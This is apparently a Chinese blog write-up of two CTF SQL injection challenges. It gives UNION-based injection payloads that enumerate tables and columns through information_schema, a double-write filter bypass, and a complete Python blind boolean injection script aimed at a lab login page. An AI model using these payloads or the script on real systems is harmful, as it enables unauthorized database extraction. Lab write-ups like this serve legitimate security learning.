《从0到1:CTFer成长之路》——SQL

SQL1:

首先判断有无过滤或者过滤了哪些东西。

首先尝试1‘ --+,发现有回显,说明—+没有被过滤,可以使用(也可以用%23)

先查看有几列:

1' order by 4 --+

到4的时候无回显,说明只有3列。

试着查看数据名。

-1' union select database(),2,3 --+

发现回显了2,3,所以再试一下放到前边。

-1' union select 2,3,database() --+

数据库名为note,接下来爆破表名。

-1' union select 2,3,group_concat(table_name) from information_schema.tables where table_schema="note" --+

猜测flag在fl4g中,接下来爆破列名。

最后在fl4g中查看fllllag。

-1' union select 2,3,fllllag from fl4g --+

得到flag。

SQL2:

进入后发现在login.php中可以输入账号密码,根据下方提示(如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦)

在账号中存在sql注入。

首先查看有几列。

利用

admin' order by 3 #

发现在3之后回显的和之前不一样,所以判断有3列。

试了好多,发现select被过滤,但可以双写绕过。

看到了提示:

但在bp上我咋写都不成功,只能用脚本了。

在网上看到了很多师傅写的脚本都差不多。

import requests


def Get(url):
    result = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while left < right:
            # 查询表名
            # name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \
            #        "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)

            # 查询列名
            # name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \
            #        "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)

            # 根据表名和列名查询字段值
            name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)

            data = {"name": name, "pass": "123456"}
            res = requests.post(url, data)
            if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        # 查询结果结束
        if mid == 32:
            break
        result += chr(mid)
        print(result)
    print(result)


Get('http://eci-2ze5rim9d48r8c0eppjn.cloudeci1.ichunqiu.com/login.php')#需要改动一下网址。

运行一下。

得到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值